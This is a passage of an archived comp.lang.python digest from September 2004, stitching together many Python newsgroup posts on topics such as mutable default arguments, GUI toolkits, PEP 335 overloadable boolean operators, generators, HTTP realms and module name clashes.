## there being no local variable called "a", the "a" ## in the return statement also evaluates to the ## parameter, and so g returns its mutated parameter. >>> def h(a): a.extend(['tackedOnItem']); return a ## This function is equivalent to g, but more explicit about its side-effect. ## Here are the relevant examples: >>> x = [1,2,3] >>> f(x) [1, 2, 3, 'tackedOnItem'] >>> x [1, 2, 3] >>> g(x) [1, 2, 3, 'tackedOnItem'] >>> x [1, 2, 3, 'tackedOnItem'] >>> y = [4,5,6] >>> h(y) [4, 5, 6, 'tackedOnItem'] >>> y [4, 5, 6, 'tackedOnItem'] HTH "Q852913745" wrote in message news:20040912195529.03437.00000338 at mb-m27.aol.com... | I am trying to learn python from 'Python programming for the absolute beginner' | I'm sure I understand the difference between tuples and lists, but while | experimenting with what I have learned so far, I was suprised that this code | worked. | | # Create list a | a=["start",878,"item 1",564354,"item 2"] | print "length of list a =",len(a) | print "a =",a ; print | | # Create tuple b | b=(234,"item 3",456,"end") | print "length of tuple b =",len(b) | print "b =",b ; print | | print "Add b onto a" # Shouldn't work! | #--------------------------------------------- | # a=a+b # causes an error as it should, | a+=b # but why is this ok? | #--------------------------------------------- | print "a =",a | print "length of a =",len(a) | print;c=raw_input("Press enter to exit") | | My book states that a=a+b and a+=b are the same, and that different 'types' of | sequence cannot be joined together. From p at ulmcnett.com Fri Sep 10 13:57:35 2004 From: p at ulmcnett.com (Paul McNett) Date: Fri, 10 Sep 2004 10:57:35 -0700 Subject: making windows apps In-Reply-To: References: Message-ID: <200409101057.35512.p@ulmcnett.com> Zach Shutters writes: > I am new to python and working my way through the van > Rossum tutorial. I am cursios though about if you can program > windows with python? Yes you can, in fact, no matter what you mean by "windows". > I know I shouldn't worry about this > right now but I am curious. If so, is there any recommended > tutorials on this. I know I can search google but i figured I > would see what some people who know the language well would > recommend. Well, now I need to know what you mean by "windows". I think you mean you want to program a graphical user interface, in which case you need to continue on with your tutorial for now but then take good looks at the three main user-interface toolkits for Python that are cross-platform: + Tkinter (included with Python, the easiest to learn and work with). + wxPython (the best choice, but could be a steep learning curve and the API is in rapid flux) + PyQt (the most polished, but licensing issues are abundant) > One last thing, in order for a program I write in > python to run on someones computer, they have to have the > python interpreter installed? Yes. > And if so, wouldn't most people > not have it installed since they wouldn't be programming in > it. Most if not all Linux and Macintosh systems come with Python installed already. For Windows, it is an easy install. There are also third-party utilities to wrap your Python program into an executable, complete with the Python interpreter so no separate install would be necessary. Google for 'py2exe' for a start. > I know this is probably an uber nube question, but that's > what I am right now. Hopefully no one will get pissed off and > give some smart ass comment about how stupid my question is > (sorry but most of the time thats what I get when I post in a > newsgroup lol) Keep reading the tutorial, and refrain from asking stupid questions, and you'll be fine. :) -- Paul McNett Independent Software Consultant http://www.paulmcnett.com From peter at engcorp.com Thu Sep 9 07:37:52 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 Sep 2004 07:37:52 -0400 Subject: print and % operator In-Reply-To: References: <82880e86.0409082143.7e50aa98@posting.google.com> Message-ID: Brian Elmegaard wrote: > Peter Hansen writes: > > >>You _really_ need to go through the tutorial... it answers >>this question > > > Are you sure? I never found the answer to this. What I found was: "Most > formats work exactly as in C and require that you pass the proper > type; however, if you don't you get an exception, not a core dump." Yes, I'm sure. http://docs.python.org/tut/node9.html -Peter From adalke at mindspring.com Mon Sep 20 22:47:15 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Tue, 21 Sep 2004 02:47:15 GMT Subject: Python for Perl programmers? In-Reply-To: References: Message-ID: Markus Dehmann wrote: > Is there a tutorial that takes all the standard perl things and then > explains how to do them in python? That would be perfect. Open a file, > take all the words, put them in a hash, do something with them, print > the result in a formatted way, write it to a new file etc. Create a > class that downloads newsgroups, etc. Things like that. Years ago I helped a bit with the PLEAC project, at http://pleac.sourceforge.net/ ] Following the great Perl Cookbook (by Tom Christiansen & ] Nathan Torkington, published by O'Reilly) which presents ] a suite of common programming problems solved in the Perl ] language, this project aims to gather fans of programming, ] in order to implement the solutions in other programming ] languages. There are a lot of examples there between Perl and Python, and somewhat fewer comparisons with other languages. Andrew dalke at dalkescientific.com From skip at pobox.com Tue Sep 7 15:07:31 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 7 Sep 2004 14:07:31 -0500 Subject: %a format In-Reply-To: <20040907182925.GA27643@grulic.org.ar> References: <20040907182925.GA27643@grulic.org.ar> Message-ID: <16702.1779.773067.819528@montanaro.dyndns.org> John> Is there any reason python's printf-style formatting is missing John> the (C99) '%a' specifier? I suspect because nobody's implemented it yet, most likely because nobody's needed it. (Yours is the first mention I've seen of it.) Python's C implementation currently supports C89, not C99, and since %a is apparently a new thing, it's not all that surprising the Python doesn't yet support it. Can you provide a patch against Objects/stringobject.c in the distribution? Note that Python uses sprintf() to do its dirty work, so any patch would have to implement %a itself to remain compatible with C89. Skip From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Sat Sep 25 05:33:37 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Sat, 25 Sep 2004 10:33:37 +0100 Subject: Counter for items in lists in lists? In-Reply-To: References: Message-ID: If you want to be able to use any iterable, you can use itertools.chain(). >>> import itertools >>> myList=[['a','b','c','d'],['a','f','g','h'],['a','b','x','y']] >>> counts = {} >>> for item in itertools.chain(*myList): ... counts[item] = counts.get(item, 0) + 1 ... >>> counts {'a': 3, 'c': 1, 'b': 2, 'd': 1, 'g': 1, 'f': 1, 'h': 1, 'y': 1, 'x': 1} -- Michael Hoffman From guy at NOSPAM.r-e-d.co.nz Mon Sep 13 08:15:43 2004 From: guy at NOSPAM.r-e-d.co.nz (Guy Robinson) Date: Tue, 14 Sep 2004 00:15:43 +1200 Subject: thumbnail extraction win32com -how? Message-ID: Hello, I revist this every now and then and are still no closer to getting it to work. I want to extract the thumbnail from a file on windows using either win32com or ctypes. As described in this link: http://www.vbaccelerator.com/home/NET/Code/Libraries/Shell_Projects/Thumbnail_Extraction/article.asp Has anyone implemented this? Or can explain how to do this. Basically it involves calling IExtractImage from shell32. But I'm not sure how to get the file object or access IExtractImage. This is what I have so far (which doesn't work): import win32com.client Dispatch = win32com.client.Dispatch objShell = Dispatch("Shell.Application"); objFolder = objShell.Namespace(0); localPidl = objFolder.ParseName('path\filename'); uio = objShell.GetUIObjectOf(NULL, 1, localPidl,IID_IExtractImage,NULL,IExtract) ... Based on the following C code: """ HBITMAP ExtractThumb(LPSHELLFOLDER psfFolder, LPCITEMIDLIST localPidl, const SIZE* prgSize, DWORD dwRecClrDepth) { LPEXTRACTIMAGE pIExtract = NULL; HRESULT hr; hr = psfFolder->GetUIObjectOf(NULL, 1, &localPidl, IID_IExtractImage, NULL, (void**)&pIExtract); if(NULL == pIExtract) // early shell version, thumbs not supported return NULL; OLECHAR wszPathBuffer[MAX_PATH]; DWORD dwPriority = 0; // IEI_PRIORITY_NORMAL is defined nowhere! DWORD dwFlags = IEIFLAG_SCREEN; HBITMAP hBmpImage = NULL; hr = pIExtract->GetLocation(wszPathBuffer, MAX_PATH, &dwPriority, prgSize, dwRecClrDepth, &dwFlags); // even if we've got shell v4.70+, not all files support thumbnails if(NOERROR == hr) hr = pIExtract->Extract(&hBmpImage); pIExtract->Release(); return hBmpImage; // callers should DeleteObject this handle after use } """ regards, Guy From hank at nicht-prosysplus-schpamme.com Fri Sep 3 11:57:23 2004 From: hank at nicht-prosysplus-schpamme.com (Hank Fay) Date: Fri, 3 Sep 2004 11:57:23 -0400 Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> Message-ID: <10jh532s2tes3fd@corp.supernews.com> Worthy of The New Yorker humor page. -- "Christopher T King" wrote in message news:Pine.LNX.4.44.0409012156390.29696-100000 at ccc4.wpi.edu... > On Tue, 1 Sep 2004, Amanita, Love Ewe wrote: > > > Sharon expects the printer within hers and actually looks. Why will you > > grasp the ugly worthwhile onions before Satam does? Many proud > > cats over the abysmal planet were loving against the tired bathroom. > > This is a common newbie trap. The reason is that default arguments are > only evaluated once; any changes you make to the list will be reflected in > the default argument. > From news at NOwillmcguganSPAM.com Tue Sep 14 10:20:58 2004 From: news at NOwillmcguganSPAM.com (Will McGugan) Date: Tue, 14 Sep 2004 15:20:58 +0100 Subject: Style conventions for Python code Message-ID: <4146fe4c$0$22760$db0fefd9@news.zen.co.uk> Hi, Is there a recommended coding style for Python documented anywhere? Fortunately there will be no endless debates on proper indentation and where to put braces ;) But I wonder if there is explicit 'Pythonic' naming conventions and ways of structuring code.. Thanks, Will McGugan From maxwell at ldc.upenn.edu Wed Sep 1 11:01:21 2004 From: maxwell at ldc.upenn.edu (Mike Maxwell) Date: Wed, 01 Sep 2004 11:01:21 -0400 Subject: sys.stdin.readline() In-Reply-To: <367a4461.0408311221.30866c09@posting.google.com> References: <367a4461.0408311221.30866c09@posting.google.com> Message-ID: I don't want to drag this out any longer. Thanks to all the posters. Several mentioned that one-liners tend to both get re-used and to grow to multiple lines, and that that implied that maybe the notion of a one-liner was faulty. This may be true, and I may find myself doing exactly what they suggest--building Unicode-aware versions of grep, sed, and tr (hopefully not awk :-)). Time will tell. Thank you also to Simon B. (simon at brunningonline.net) for pointing me to his one-liner implementation, which is much better than I {w|c}ould have done. Mike Maxwell From news at woody.datatailors.com Sat Sep 4 19:07:31 2004 From: news at woody.datatailors.com (Peter van Kampen) Date: Sun, 5 Sep 2004 01:07:31 +0200 Subject: HTTP Authentication and realms References: <6f402501.0409041029.ff41515@posting.google.com> Message-ID: In comp.lang.python, you wrote: [snip] > The bottom line for me is that I don't actually understand what a > realm is from: http://www.ietf.org/rfc/rfc2617.txt "[...] realms allow the protected resources on a server to be partitioned into a set of protection spaces, each with its own authentication scheme and/or authorization database. The realm value is a string, generally assigned by the origin server, which may have additional semantics specific to the authentication scheme. Note that there may be multiple challenges with the same auth-scheme but different realms." > and how http does authentication beyond the first page access > - does > it need the username and password encoded in the headers for > access to > every page in that realm ? Yes (HTTP is a stateless protocol). Your browser usually remembers your username and password for 'realms' you've already authenticated for so you only enter is once but it sent along with each request. Hth, PterK -- Peter van Kampen pterk -- at -- datatailors.com From cjw at sympatico.ca Fri Sep 10 08:11:47 2004 From: cjw at sympatico.ca (Colin J. Williams) Date: Fri, 10 Sep 2004 08:11:47 -0400 Subject: PEP 335: Overloadable Boolean Operators - Official Posting In-Reply-To: <2qccb9Fuac61U1@uni-berlin.de> References: <2qccb9Fuac61U1@uni-berlin.de> Message-ID: <41419A03.90506@sympatico.ca> I understand that the intent, eventually, is that the basic types become classes. Would making Bool a class permit the achievement of these objectives? If Bool were a class, then subclasses could use __repr__ to provide alternative responses to False/True, such as No/Yes or Fail/OK. Colin W. Greg Ewing wrote: > PEP: 335 > Title: Overloadable Boolean Operators > Version: $Revision: 1.2 $ > Last-Modified: $Date: 2004/09/09 14:17:17 $ > Author: Gregory Ewing > Status: Draft > Type: Standards Track > Content-Type: text/x-rst > Created: 29-Aug-2004 > Python-Version: 2.4 > Post-History: 05-Sep-2004 > > > Abstract > ======== > > This PEP proposes an extension to permit objects to define their own > meanings for the boolean operators 'and', 'or' and 'not', and suggests > an efficient strategy for implementation. A prototype of this > implementation is available for download. > > > Background > ========== > > Python does not currently provide any '__xxx__' special methods > corresponding to the 'and', 'or' and 'not' boolean operators. In the > case of 'and' and 'or', the most likely reason is that these operators > have short-circuiting semantics, i.e. the second operand is not > evaluated if the result can be determined from the first operand. The > usual technique of providing special methods for these operators > therefore would not work. > > There is no such difficulty in the case of 'not', however, and it > would be straightforward to provide a special method for this > operator. The rest of this proposal will therefore concentrate mainly > on providing a way to overload 'and' and 'or'. > > > Motivation > ========== > > There are many applications in which it is natural to provide custom > meanings for Python operators, and in some of these, having boolean > operators excluded from those able to be customised can be > inconvenient. Examples include: > > 1. Numeric/Numarray, in which almost all the operators are defined on > arrays so as to perform the appropriate operation between > corresponding elements, and return an array of the results. For > consistency, one would expect a boolean operation between two > arrays to return an array of booleans, but this is not currently > possible. > > There is a precedent for an extension of this kind: comparison > operators were originally restricted to returning boolean results, > and rich comparisons were added so that comparisons of Numeric > arrays could return arrays of booleans. > > 2. A symbolic algebra system, in which a Python expression is > evaluated in an environment which results in it constructing a tree > of objects corresponding to the structure of the expression. > > 3. A relational database interface, in which a Python expression is > used to construct an SQL query. > > A workaround often suggested is to use the bitwise operators '&', '|' > and '~' in place of 'and', 'or' and 'not', but this has some > drawbacks. The precedence of these is different in relation to the > other operators, and they may already be in use for other purposes (as > in example 1). There is also the aesthetic consideration of forcing > users to use something other than the most obvious syntax for what > they are trying to express. This would be particularly acute in the > case of example 3, considering that boolean operations are a staple of > SQL queries. > > > Rationale > ========= > > The requirements for a successful solution to the problem of allowing > boolean operators to be customised are: > > 1. In the default case (where there is no customisation), the existing > short-circuiting semantics must be preserved. > > 2. There must not be any appreciable loss of speed in the default > case. > > 3. If possible, the customisation mechanism should allow the object to > provide either short-circuiting or non-short-circuiting semantics, > at its discretion. > > One obvious strategy, that has been previously suggested, is to pass > into the special method the first argument and a function for > evaluating the second argument. This would satisfy requirements 1 and > 3, but not requirement 2, since it would incur the overhead of > constructing a function object and possibly a Python function call on > every boolean operation. Therefore, it will not be considered further > here. > > The following section proposes a strategy that addresses all three > requirements. A `prototype implementation`_ of this strategy is > available for download. > > .. _prototype implementation: > http://www.cosc.canterbury.ac.nz/~greg/python/obo//Python_OBO.tar.gz > > > Specification > ============= > > Special Methods > --------------- > > At the Python level, objects may define the following special methods. > > =============== ================= ======================== > Unary Binary, phase 1 Binary, phase 2 > =============== ================= ======================== > * __not__(self) * __and1__(self) * __and2__(self, other) > * __or1__(self) * __or2__(self, other) > * __rand2__(self, other) > * __ror2__(self, other) > =============== ================= ======================== > > The __not__ method, if defined, implements the 'not' operator. If it > is not defined, or it returns NotImplemented, existing semantics are > used. > > To permit short-circuiting, processing of the 'and' and 'or' operators > is split into two phases. Phase 1 occurs after evaluation of the first > operand but before the second. If the first operand defines the > appropriate phase 1 method, it is called with the first operand as > argument. If that method can determine the result without needing the > second operand, it returns the result, and further processing is > skipped. > > If the phase 1 method determines that the second operand is needed, it > returns the special value NeedOtherOperand. This triggers the > evaluation of the second operand, and the calling of an appropriate > phase 2 method. During phase 2, the __and2__/__rand2__ and > __or2__/__ror2__ method pairs work as for other binary operators. > > Processing falls back to existing semantics if at any stage a relevant > special method is not found or returns NotImplemented. > > As a special case, if the first operand defines a phase 2 method but > no corresponding phase 1 method, the second operand is always > evaluated and the phase 2 method called. This allows an object which > does not want short-circuiting semantics to simply implement the > relevant phase 2 methods and ignore phase 1. > > > Bytecodes > --------- > > The patch adds four new bytecodes, LOGICAL_AND_1, LOGICAL_AND_2, > LOGICAL_OR_1 and LOGICAL_OR_2. As an example of their use, the > bytecode generated for an 'and' expression looks like this:: > > . > . > . > evaluate first operand > LOGICAL_AND_1 L > evaluate second operand > LOGICAL_AND_2 > L: . > . > . > > The LOGICAL_AND_1 bytecode performs phase 1 processing. If it > determines that the second operand is needed, it leaves the first > operand on the stack and continues with the following code. Otherwise > it pops the first operand, pushes the result and branches to L. > > The LOGICAL_AND_2 bytecode performs phase 2 processing, popping both > operands and pushing the result. > > > Type Slots > ---------- > > A the C level, the new special methods are manifested as five new > slots in the type object. In the patch, they are added to the > tp_as_number substructure, since this allowed making use of some > existing code for dealing with unary and binary operators. Their > existence is signalled by a new type flag, > Py_TPFLAGS_HAVE_BOOLEAN_OVERLOAD. > > The new type slots are:: > > unaryfunc nb_logical_not; > unaryfunc nb_logical_and_1; > unaryfunc nb_logical_or_1; > binaryfunc nb_logical_and_2; > binaryfunc nb_logical_or_2; > > > Python/C API Functions > ---------------------- > > There are also five new Python/C API functions corresponding to the > new operations:: > > PyObject *PyObject_LogicalNot(PyObject *); > PyObject *PyObject_LogicalAnd1(PyObject *); > PyObject *PyObject_LogicalOr1(PyObject *); > PyObject *PyObject_LogicalAnd2(PyObject *, PyObject *); > PyObject *PyObject_LogicalOr2(PyObject *, PyObject *); > > > Copyright > ========= > > This document has been placed in the public domain. > > > .. > Local Variables: > mode: indented-text > indent-tabs-mode: nil > sentence-end-double-space: t > fill-column: 70 > End: > From yyx-nospam at gmx.de Thu Sep 2 16:29:11 2004 From: yyx-nospam at gmx.de (Andreas Krey) Date: 2 Sep 2004 20:29:11 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <877jrcjy1n.fsf@thalassa.informatimago.com> Message-ID: * Karl A. Krueger (kkrueger at example.edu) ... > It was my impression that the Motorola 68000 CPU, upon which the > original Macintosh was based, did not support memory management in > hardware. That is not the problem; one can do memory management and multiple address spaces in external hardware as well. But the MacOS architecture obviously wanted to be all in one address space, as did the early windows versions. This makes GUI easier and networking and fault isolation harder, but it's a valid tradeoff. :-) What you can't do with the 68000 is virtual memory management because that requires the processor to save the state of execution in the middle of an instruction when needed data is not physically in memory. 68020 and upwards provided that feature, and the Sun 3/50 used a 68020 and a proprietary memory management unit mainly consisting of two fast SRAMs to get virtual memory support. I don't know whether the 68000 already had user and supervisor mode which is also (besides an MMU) a prerequisite for completely jailing user programs. Andreas -- np: 4'33 From pfortin at pfortin.com Thu Sep 16 00:44:38 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Thu, 16 Sep 2004 00:44:38 -0400 Subject: Incrementing a string -- puzzing "solution"... References: Message-ID: <20040916004438.657b50a4@gypsy.pfortin.com> On Wed, 15 Sep 2004 15:08:20 -0700 John wrote: > This conveniently steps through the alphabet, then goes on to aa, ab,ac, Puzzling... I hacked at this problem as a flexibility learning exercise and actually got this to work; but... does 'while True' in a generator have side-effects...?? Or generator recursion? Maybe I'm just tired -- I don't see how the string actually _grows_ inside the while.... :^? I was just expecting the prefix to be '', then 'a'...'z' giving a..z, aa..az, ba..bz, ... za..zz -- not continuing through aaa...azz and onwards... It's cool; but boggles my mind at the moment... not that that's a stretch... :^) def ascinc(start='a',end='z'): g = ascinc(start,end) prefix = '' while True: for i in range(ord(start[-1]),ord(end[-1])+1): yield (prefix + chr(i)) prefix = g.next() print "what you wanted..." g = ascinc('a') for i in range(100): print g.next(), print print "including some flexibility..." g = ascinc('0','1') for i in range(100): print g.next(), From newsgroups at jhrothjr.com Sat Sep 11 14:57:04 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Sat, 11 Sep 2004 13:57:04 -0500 Subject: PEP 335: Overloadable Boolean Operators - Official Posting References: <2qccb9Fuac61U1@uni-berlin.de> <41419A03.90506@sympatico.ca> <4142EBC7.40105@sympatico.ca> Message-ID: <10k6il38bl860d0@news.supernews.com> "Colin J. Williams" wrote in message news:4142EBC7.40105 at sympatico.ca... > > > Gerrit wrote: >> Colin J. Williams wrote: >> >>>I understand that the intent, eventually, is that the basic types become >>>classes. >>> >>>Would making Bool a class permit the achievement of these objectives? >>> ... > > I misled with my comment about reprsentation. > > The basic suggestion I was trying to make is that, with a subclass, > the expression 'A and B' could return almost whatever one wishes. Unfortunately, it can't. A subclass needs a magic method to hook into, without that it's got no leverage whatsoever. John Roth > > Colin W. >> >> regards, >> Gerrit. >> From claird at lairds.us Wed Sep 22 13:08:03 2004 From: claird at lairds.us (Cameron Laird) Date: Wed, 22 Sep 2004 17:08:03 GMT Subject: Divisions of labor (was: Development engineering) References: <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> <4tg822-bmd.ln1@lairds.us> <1gkiywn.1ydvxr62u3q0dN%aleaxit@yahoo.com> Message-ID: In article <1gkiywn.1ydvxr62u3q0dN%aleaxit at yahoo.com>, Alex Martelli wrote: . [much that deserves comment] . . >This is a reflection I had as a consequence of this episode. But if I >meet about two "super-horrible bugs" a year, and a perfect debugger >would save me 3 days or so in each case, I need to find one that I can >learn to use with perfect skill in less than 6 days, and keep >well-trained on at no cost. Half the incantations that WingIDE guru was >incanting were completely lost on me and the other guy helping us out in >that debugging -- if I took a week to learn it, and then didn't have any >need for it for months, I'd have to relearn it again 7 months later... >not a net win. > >I was highly skilled back when I had to use MS Visual Studio to develop >and debug C++ code -- but it's the kind of skill my brain expunges as >fast as it possibly can, as soon as it becomes unused (as opposed to, >say, weird interesting facts about languages and libraries I may not >have used for years -- THOSE, for me, tend to stay around somewhere in >my brain!-) . . . I made almost exactly the same calculation, and certainly came to the same conclusion. This still leaves open the question of precisely what the alternative is--to have eager debugger-savvy friends? I think there's more to it. I'll likely return to this. From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Fri Sep 3 15:17:17 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Fri, 03 Sep 2004 19:17:17 -0000 Subject: Xah Lee's Unixism References: Message-ID: <10jhgptc49br6b1@corp.supernews.com> Anne & Lynn Wheeler wrote: # SM Ryan writes: # > It's nice to know people still have time to work on really important things. # # was also responsible for adeventure inside the company ... recent # pst in a.o.m # http://www.garlic.com/~lynn/2004k.html#38 Adventure Is there a javascript version of Advent? I've been looking for a game to sneak into software I've been working on. I can try to do little animated gifs. -- SM Ryan http://www.rawbw.com/~wyrmwif/ The little stoner's got a point. From jeff at ccvcorp.com Wed Sep 15 16:00:47 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 15 Sep 2004 13:00:47 -0700 Subject: See exactly what a function has returned In-Reply-To: References: Message-ID: <10kh7o27c6bu898@corp.supernews.com> Brad Tilley wrote: > > def print_whats_returned(function): > ## A function that shows what another function has returned > ## as well as the 'type' of the returned data. > print function > print type(function) > > def send_net_params_to_admin(ip_param, port_param): > ip = get_server_ip() > port = get_server_port() > return ip, port > > print_whats_returned(send_net_params_to_admin(get_server_ip(), > get_server_port())) Note here that the argument to print_whats_returned() is *not* a function; it is the value returned from a function. You're not passing the function send_net_params_to_admin(); you're passing whatever is returned from it. It is effectively equivalent to the following: return_value = send_net_params_to_admin(get_server_ip(), get_server_port()) print_whats_returned(return_value) Thus, your function would be much more clear with different names, since it really has nothing to do with functions. def print_value_and_type(value): print value print type(value) With these names, you wouldn't have had all of these people talking about dynamic typing and such, because it would've been clear that you're not attempting to find the intended return value of a theoretical future function call, but rather trying to inspect the actual value that's already been returned by a previously-executed function call. And no, there isn't really an easier way to do this. :) Jeff Shannon Technician/Programmer Credit International From steven.bethard at gmail.com Thu Sep 23 15:51:36 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 23 Sep 2004 19:51:36 +0000 (UTC) Subject: Unexpected result. References: Message-ID: Grzegorz Dostatni ee.ualberta.ca> writes: > My question is whether it would make more sense (be more > intuitive) to have a for loop create its own local scope I highly doubt you're going to convince Python to change on this, but you can always try... ;) Anyway, there are times when you want to access the loop variable afterwards, e.g.: for i, line in enumerate(file(...)): # do something with each line of the file print 'lines in file:', i So the tradeoff is between catching errors like yours (and as Larry Bates says, you really shouldn't use the same variable in nested loops anyway) and being able to be more expressive. My suspicion is that there really aren't too many use cases where you really need to have the same loop variable name in a nested for loop, but I bet there are a fair number of good use cases for having access to the loop variable after the end of the loop. Steve From mwh at python.net Mon Sep 13 08:17:34 2004 From: mwh at python.net (Michael Hudson) Date: Mon, 13 Sep 2004 12:17:34 GMT Subject: MD5 and SHA cracked/broken... References: Message-ID: Kirk Job-Sluder writes: > On 2004-09-11, Magnus Lie Hetland wrote: > > Basically, at Crypto 2004 preliminary papers were presented that > > pointed out weaknesses in MD5, SHA-0 and SHA-1. As far as I can tell, > > MD5 is broken and SHA-1 seems to be in a precarious position (even > > though I don't know the details at all). > > It is always good to read carefully. > > An algorithm has been published that makes it easier than it should be > to find collisions in MD5. Has the algorithm been published? AFAIK (which could be out of date; why I'm asking) all that's been published is a paper which essentially says "here's two distinct byte sequences that md5 the same". Cheers, mwh -- how am I expected to quit smoking if I have to deal with NT every day -- Ben Raia From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Wed Sep 15 03:03:23 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Wed, 15 Sep 2004 09:03:23 +0200 Subject: up with PyGUI! References: <414783DD.4070509@zephyrfalcon.org> Message-ID: Hi ! >>> (Sorry, no real homepage is available yet for Wax.) I am sorry also, because wax is fun. @-salutations -- Michel Claveau From michele.simionato at gmail.com Tue Sep 28 03:19:26 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 28 Sep 2004 00:19:26 -0700 Subject: time References: Message-ID: <4edc17eb.0409272319.3ce7b07e@posting.google.com> Bryan wrote in message news:... > can someone explain to me why i get different values for the tm_yday and > tm_isdst values? > > >>> import rfc822 > >>> rfc822.parsedate('Mar 1 01:03:59 2004') > (2004, 3, 1, 1, 3, 59, 0, 0, 0) > > >>> import time > >>> time.strptime('Mar 1 01:03:59 2004', '%b %d %H:%M:%S %Y') > (2004, 3, 1, 1, 3, 59, 0, 61, -1) > > > thanks, > > bryan I asked a similar question just few days ago. Here is the answer: >>> time.strptime('Mar 1 01:03:59 2004 UTC', '%b %d %H:%M:%S %Y %Z') (2004, 3, 1, 1, 3, 59, 0, 61, 0) Michele Simionato From aleaxit at yahoo.com Fri Sep 17 03:40:01 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 17 Sep 2004 09:40:01 +0200 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> Message-ID: <1gk93b2.gz571ahxihcpN%aleaxit@yahoo.com> Ville Vainio wrote: > >>>>> "Terry" == Terry Reedy writes: > > Terry> Also for political reasons. The US has reactionaries, left > Terry> and right, who reject the idea that all people have a right > Terry> to participate in the global information economy. > > I don't think that's exclusively an US concern - all industrialized > countries have people who are concerned about outsourcing, > globalization and generally losing their jobs. True, but (for example) the British minister for eCommerce drew standing ovations at a conference in India last February by reaffirming quite intensely that Britain will never again try protectionism or subsidies to save fading industries at the cost of taxpayer money and stagnation. Apparently, Britain has been there before, and while no doubt _some_ people won't agree, there seems to have evolved a national consensus in favour of an open economy -- that minister is just as much of a politician as, say, US ones, but clearly he evaluates that this stance doesn't cost him votes overall. Other nations don't seem to be as far along on the curve. The US, in particular, seems to go for bipartisan verbal consensus against free trace on every election year -- even administrations whose actual policies were quite free-tradeish, such as Clinton's, seemed to feel a need to appease protectionists with occasional bouts of rhetorics and once in a while a highly visible trade row. That's worrisome, because those who can't learn from history are doomed to repeat it, and it sure seems, at times, that the US political consensus hasn't learned, e.g. from the precedent of the Smoot-Hawley tariffs, that beggar-thy-neighbor protectionism can be disastrous. Alex From georgeplex at yahoo.com Fri Sep 10 12:23:16 2004 From: georgeplex at yahoo.com (George P) Date: 10 Sep 2004 09:23:16 -0700 Subject: package module import name clash with global package Message-ID: I've run into a strange package related namespace problem. Follow these steps (on UNIX system) to illustrate: ------------------------- mkdir /tmp/mypkg cd /tmp/mypkg touch __init__.py echo 'import os\ndef test():\n print os.getcwd()' > os.py cd /tmp echo '#\!/usr/bin/env python\nimport mypkg.os\nmypkg.os.test()' > test_1.py echo '#\!/usr/bin/env python\nimport os\nprint os.getcwd()' > test_2.py chmod a+x test_*.py ------------------------- This sets up a minimal package mypkg in /tmp that contains a sub-module named os. It also sets up a test_1.py and test_2.py script to illustrate the problem. They do equivalent things (print the cwd) except test_1.py tries and fails to do it from within the mypkg.os module. The problem is then that I can't import the global package "os" into my mypkg.os packaged module. I've done lots of digging around into this problem and I think I understand the reasons why this happens. My question is if anyone can think of an alternative way of fixing/avoiding this? The best workarounds I have are: a) Not use os as my submodule name b) First import global os in test_1.py and then in mypkg/os.py run the function as sys.modules["os"].__dict__["getcwd"]() a) is not a perfect solution because, well, in my example I've used "os" to illustrate the problem, but really, who's to predict what global modules might be installed on a system? And besides, isn't this something that namespaces were supposed to solve? b) well, that's just plain ugly. Any other ideas? thanks, George From peter at engcorp.com Thu Sep 9 09:31:02 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 Sep 2004 09:31:02 -0400 Subject: Question: tools for business apps development In-Reply-To: References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> <2qavr3Ft7dgdU1@uni-berlin.de> Message-ID: Carlos Ribeiro wrote: > -- Philosophically thinking, it's not free so it should not be used. > This a Stalmanish position, but it does have some power in the context > of a decision to use only free tools. The player is free. And while the ability to create Flash files is also free, it's true that currently there are few useful tools to do that, and the alternatives are not only not free, but in some cases are rather expensive (especially compared to where the price of development tools has come in recent years). I suspect that as Macromedia finds more of a market amongst developers for this sort of thing (as Dan suggests they are doing) they may discover that charging $500 for the development side isn't going to get them much of the market. Maybe something less "flashy" and more staid and serious for more like $50-200 would get them into that area much more rapidly. -Peter From newsgroups at jhrothjr.com Thu Sep 23 08:37:24 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Thu, 23 Sep 2004 07:37:24 -0500 Subject: Why not FP for Money? References: Message-ID: <10l5gs6rv305b6d@news.supernews.com> "Chris Barker" wrote in message news:cc887c1d.0409222103.388c40de at posting.google.com... > "Batista, Facundo" wrote in message >> Well, actually that's an issue, because the "banker's rounding" is not >> the >> same rounding in every country. >> >> That's why in Decimal you have a lot of roundings to choose. > > Exactly. I am the OP, and my question was "What am I missing?", and > that is the above 